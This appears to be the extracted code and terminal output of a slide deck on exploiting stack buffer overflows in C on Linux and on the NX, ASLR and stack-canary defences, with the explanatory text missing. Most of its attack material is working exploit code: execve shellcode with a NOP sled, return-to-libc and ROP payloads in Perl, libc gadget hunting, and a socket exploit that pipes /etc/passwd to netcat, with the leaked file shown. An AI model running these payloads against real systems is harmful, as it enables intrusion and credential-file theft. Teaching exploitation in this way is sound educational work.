
void g(int param) {
int buff[2];
int an_int;
}
void f() {
g(0xbeefbeef);
}

#include <stdio.h>
int zero = 0;
int main(int argc, char *argv[]) {
char buffer[5];
gets(buffer);
if (zero == 0) return 0;
printf("Code never reached");
return 0;
}
[maciek@pc ~]$ ./test abcdefghijklmnoprst Program received signal SIGSEGV, Segmentation fault.
[maciek@pc ~]$ perl -e ‘print “\x77”x(5+8+4) .“\x41\x84\x04\x08”’ > input [maciek@pc ~]$ ./test < input Code never reached Program received signal SIGSEGV, Segmentation fault.
Before overflow - raw data

Before overflow

After overflow

0804841c <main>: 804841c: 55 push %ebp 804841d: 89 e5 mov %esp,%ebp 804841f: 83 e4 f0 and $0xfffffff0,%esp 8048422: 83 ec 20 sub $0x20,%esp 8048425: 8d 44 24 1b lea 0x1b(%esp),%eax 8048429: 89 04 24 mov %eax,(%esp) 804842c: e8 cf fe ff ff call 8048300 <gets@plt> 8048431: a1 00 97 04 08 mov 0x8049700,%eax 8048436: 85 c0 test %eax,%eax 8048438: 75 07 jne 8048441 <main+0x25> 804843a: b8 00 00 00 00 mov $0x0,%eax 804843f: eb 11 jmp 8048452 <main+0x36> 8048441: c7 04 24 f4 84 04 08 movl $0x80484f4,(%esp) 8048448: e8 a3 fe ff ff call 80482f0 <printf@plt> 804844d: b8 00 00 00 00 mov $0x0,%eax 8048452: c9 leave 8048453: c3 ret
#include <stdio.h>
FILE* f;
int main(int argc, char *argv[]) {
char buffer[100];
f = fopen("input", "r");
fread(&buffer, 1, 200, f); // Oops!
return 0;
}
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # nop sled "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x48\x83\xec\x18\xc7\x04\x24\x2f\x62\x69" # shellcode "\x6e\xc7\x44\x24\x04\x2f\x73\x68\x4e\xc7" "\x44\x24\x08\x41\x41\x41\x41\xc7\x44\x24" "\x0c\x41\x41\x41\x41\xc7\x44\x24\x10\x42" "\x42\x42\x42\xc7\x44\x24\x14\x42\x42\x42" "\x42\x48\x31\xc0\x48\x89\xe7\x88\x47\x07" "\x48\x89\x7f\x08\x48\x89\x47\x10\xb0\x3b" "\x48\x8d\x77\x08\x48\x8d\x57\x10\x0f\x05" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # nop "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x00\xdf\xff\xff\xff\x7f" # return address
;shellcode.asm
[SECTION .text]
global _start
_start:
sub rsp, 24 ; allocate 24 bytes on stack
mov dword [rsp ], '/bin' ; push '/bin/sh' string
mov dword [rsp+ 4], '/shN'
mov dword [rsp+ 8], 'AAAA' ; execve 1st argument
mov dword [rsp+12], 'AAAA'
mov dword [rsp+16], 'BBBB' ; execve 2nd argument
mov dword [rsp+20], 'BBBB'
xor rax, rax ; clear rax
mov rdi, rsp ; load 1st argument - program to execute
mov [rdi+7 ], al ; put a NULL where the N is in the string
mov [rdi+8 ], rdi ; put the address of the string to where the AAAAAAAA is
mov [rdi+16], rax ; put 8 null bytes into place where the BBBBBBBB is
mov al, 0x3b ; execve is syscall 0x3b
lea rsi, [rdi+8] ; load 2nd argument - the address of where the AAAAAAAA was
lea rdx, [rdi+16] ; load 3rd argument - address of the NULLS
syscall ; make the system call
execve("/bin/sh", {"/bin/sh", NULL}, {NULL});








[maciek@pc ~]$ ./shellcode.pl > input [maciek@pc ~]$ ./prog sh-4.2$
#include <stdio.h>
int main(int argc, char *argv[]) {
unsigned char code[] = {
0x48, 0x83, 0xec, 0x04, // sub $0x4,%rsp
0x48, 0x31, 0xc0, // xor %rax,%rax
0x48, 0x31, 0xff, // xor %rdi,%rdi
0x48, 0x31, 0xd2, // xor %rdx,%rdx
0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl "Hi" ,(%rsp)
0x66, 0xbf, 0x01, 0x00, // mov $0x1,%di
0x48, 0x8d, 0x34, 0x24, // lea (%rsp),%rsi
0x66, 0xba, 0x04, 0x00, // mov $0x4,%dx
0x66, 0xb8, 0x01, 0x00, // mov $0x1,%ax
0x0f, 0x05, // syscall
0x48, 0x83, 0xc4, 0x04, // add $0x4,%rsp
0xc3 // retq
};
( (void (*)()) &code[0])();
return 0;
}
[maciek@pc ~]$ gcc -zexecstack -o nx_bit_test_off nx_bit_test.c [maciek@pc ~]$ ./nx_bit_test_off Hi
[maciek@pc ~]$ gcc -o nx_bit_test_on nx_bit_test.c [maciek@pc ~]$ ./nx_bit_test_on Segmentation fault
[maciek@pc ~]$ execstack nx_bit_test_off nx_bit_test_on - nx_bit_test_on X nx_bit_test_off
[maciek@pc ~]$ execstack /usr/bin/* 2>/dev/null| egrep "^X" X /usr/bin/grub2-fstest X /usr/bin/grub2-mkrelpath X /usr/bin/grub2-script-check X /usr/bin/nvidia-cuda-mps-control X /usr/bin/nvidia-cuda-mps-server
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <linux/limits.h>
int main(int argc, char *argv[]) {
char cfg_file_path[PATH_MAX];
strcpy(cfg_file_path, getenv("HOME"));
strcat(cfg_file_path, "/.config");
printf("Using config file: %s\n", cfg_file_path);
return 0;
}
[maciek@pc ~]$ cat /usr/include/linux/limits.h | grep PATH_MAX #define PATH_MAX 4096 /* # chars in a path name including nul */
[maciek@pc ~]$ export CMD="echo 'Your wish is my command !'"
[maciek@pc ~]$ export HOME=`perl -e 'print "A" x 4108 . > "\xff\xff\xff\xff". > "\xff\xff\xff\xff". > "\xff\xff\xff\xff"'`
[maciek@pc ~]$ setarch x86_64 -R ./prog Using config file: AAAAAAAA...AAAAA????????????/.config Segmentation fault (core dumped)
[maciek@pc ~]$ gdb prog core.4024 [New LWP 4024] Core was generated by './prog'. Program terminated with signal 11, Segmentation fault. #0 0xffffffff in ?? ()
(gdb) p system
$1 = {} 0x43dabe50
(gdb) p exit
$2 = {} 0x43d9fd30
(gdb) x/10s $esp 0xffffc140: "\377\377\377\377\377\377\377\377/.config" 0xffffc151: "" 0xffffc152: "" 0xffffc153: "" 0xffffc154: "\001" 0xffffc156: ""
0xffffcbee: "CMD=echo 'Your wish is my command !'" 0xffffcbfa: "USERNAME=maciek" 0xffffcc0a: "SESSION_MANAGER=local/unix:@/tmp/.ICE-unix" 0xffffcc58: "MC_TMPDIR=/tmp/mc-maciek" 0xffffcc71: "DESKTOP_SESSION=gnome" 0xffffcc87: "MAIL=/var/spool/mail/maciek"
[maciek@pc ~]$ export HOME=`perl -e 'print "A" x 4108 . > "\x50\xbe\xda\x43". > "\x30\xfd\xd9\x43". > "\xf2\xcb\xff\xff"'`
[maciek@pc ~]$ setarch x86_64 -R ./prog Using config file: AAAAAAAA...AAAAA????????????/.config Your wish is my command !
// ...
int main(int argc, char *argv[]) {
FILE* f = fopen("input", "r");
// read and check data size
unsigned char data_size;
fread(&data_size, sizeof(data_size), 1, f);
unsigned char total = data_size + HEADER_SIZE;
if (total >= MAX_MSG) {
fprintf(stderr, "Data to large: %u\n", data_size); exit(0);
}
// read data
char buffer[MAX_MSG] = {0};
printf("Reading %u\n", data_size);
fread(buffer+HEADER_SIZE, 1, data_size, f);
send(buffer, total);
}


[maciek@pc ~]$ objdump -d /usr/lib64/libc.so.6 | less 0000003aaaaf1620 <__clone>: 3aaaaf1620: 48 c7 c0 ea ff ff ff mov $0xffffffffffffffea,%rax 3aaaaf1627: 48 85 ff test %rdi,%rdi 3aaaaf162a: 74 69 je 3aaaaf1695 <__clone+0x75> 3aaaaf162c: 48 85 f6 test %rsi,%rsi 3aaaaf162f: 74 64 je 3aaaaf1695 <__clone+0x75> 3aaaaf1631: 48 83 ee 10 sub $0x10,%rsi # [...] 3aaaaf1688: 00 3aaaaf1689: 58 pop %rax 3aaaaf168a: 5f pop %rdi 3aaaaf168b: ff d0 callq *%rax 3aaaaf168d: 48 89 c7 mov %rax,%rdi # [...]





#!/bin/perl
open FILE, ">", "input" or die $!;
print FILE "\xf8"."\x55"x(108).
"\x89\x16\xaf\xaa\x3a\x00\x00\x00". # clone+105
"\xb0\x17\xa4\xaa\x3a\x00\x00\x00". # system -> eax
"\xfc\xeb\xff\xff\xff\x7f\x00\x00"; # CMD -> rdi
[maciek@pc ~]$ echo $CMD /bin/sh [maciek@pc ~]$ setarch x86_64 -R ./prog64 Reading 248 Sending 85 bytes sh-4.2$

// ...
int recv_bytes(int conn) {
char len = 0;
char buffer[100] = {0};
recv(conn, &len, 1, MSG_WAITALL);
if (len > 100) {
printf("data to large: %d\n", len); return;
}
printf("length: %d\n", len);
recv(conn, buffer, len, MSG_WAITALL);
}
int main(int argc, char* argv[]) {
// ...
while (1) {
conn = accept(sock, (struct sockaddr*) NULL, NULL);
recv_bytes(conn);
}
}
[maciek@pc ~]$ objdump -d /usr/lib64/libc.so.6 \ > | grep -A1 "lea.*rsp.*rdi" \ > | grep -B1 "call.*\\*%r.x" 3aaaa41578: 48 8d 7c 24 20 lea 0x10(%rsp),%rdi 3aaaa4157d: ff d0 callq *%rax
[maciek@pc ~]$ objdump -d libc.so.6 | grep -A1 "pop.*rax" | grep -B1 retq [maciek@pc ~]$ objdump -d libc.so.6 | grep -A2 "pop.*rax" | grep -B2 retq [maciek@pc ~]$ objdump -d libc.so.6 | grep -A3 "pop.*rax" | grep -B3 retq 3aaaa1f036: 58 pop %rax 3aaaa1f037: 5b pop %rbx 3aaaa1f038: 5d pop %rbp 3aaaa1f039: c3 retq


#!/bin/perl
use Socket qw(PF_INET SOCK_STREAM pack_sockaddr_in inet_aton);
socket(my $socket, PF_INET, SOCK_STREAM, 0) or die "socket: $!";
connect($socket, pack_sockaddr_in(4321, inet_aton("localhost"))) or die;
print $socket "\xff"; # send size
print $socket "\x77"x100; # fill buffer
print $socket "\x77"x20; # junk
print $socket "\x36\xf0\xa1\xaa\x3a\x00\x00\x00"; # ret
print $socket "\xb0\x17\xa4\xaa\x3a\x00\x00\x00"; # rax
print $socket "\x77"x8; # rbx
print $socket "\x77"x8; # rbp
print $socket "\x95\xd0\xa6\xaa\x3a\x00\x00\x00"; # ret
print $socket "\x77"x8; # junk
print $socket "\x77"x8; # junk
print $socket "cat /etc/passwd | nc 127.0.0.1 5432\x00";
[maciek@pc ~]$ nc -l 127.0.0.1 5432 & [1] 4169
[maciek@pc ~]$ ./srv & [2] 4170
[maciek@pc ~]$ ./send.pl length: 255 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] tcpdump:x:72:72::/:/sbin/nologin maciek:x:500:500:maciek:/home/maciek:/bin/bash [1]- Done nc -l 127.0.0.1 5432 [2]+ Segmentation fault ./srv [maciek@pc ~]$
[maciek@pc aslr]$ for i in {1..3}; do ldd /sbin/sshd | grep libc.so; done
libc.so.6 => /lib64/libc.so.6 (0x00007f29679ee000)
libc.so.6 => /lib64/libc.so.6 (0x00007f000139a000)
libc.so.6 => /lib64/libc.so.6 (0x00007fd2e7c82000)
[maciek@pc aslr]$ for i in {1..3}; do ldd /usr/bin/firefox-bin | grep libc.so; done
libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)
libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)
libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)

Stack guard vs stack layout

#include <stdio.h>
void f();
int main(int argc, char* argv[]) {
char* p1 = (char*) 1;
char a2[2] = {2, 2};
char v3 = 3;
char a4[2] = {4, 4};
char v5 = 5;
f();
return 0;
}
Enabled by compilation flag:
#include <stdio.h>
int main(int argc, char* argv[]) {
int buffer[10];
buffer[10] = 0xff;
return 0;
}
[maciek@pc canary]$ objdump -d guard_test_on
000000000040050c <main>:
push %rbp
mov %rsp,%rbp
sub $0x40,%rsp
mov %edi,-0x34(%rbp)
mov %rsi,-0x40(%rbp)
mov %fs:0x28,%rax # move 8 byte guard value
# from %fs:0x28 to 8 bytes
mov %rax,-0x8(%rbp) # after the local variables
xor %eax,%eax
movl $0xff,-0x8(%rbp) # array overflow
mov $0x0,%eax
mov -0x8(%rbp),%rdx # move the pointer from stack
xor %fs:0x28,%rdx # compare the %fs:0x28 value
# with stored value on stack
je 40054a <main+0x3e> # - on success jump to leaveq
callq 4003e0 <__stack_chk_fail@plt> # - on failure call __stack_chk_fail
leaveq
retq
nopl 0x0(%rax)
Additional flag added:
Use a spacebar or arrow keys to navigate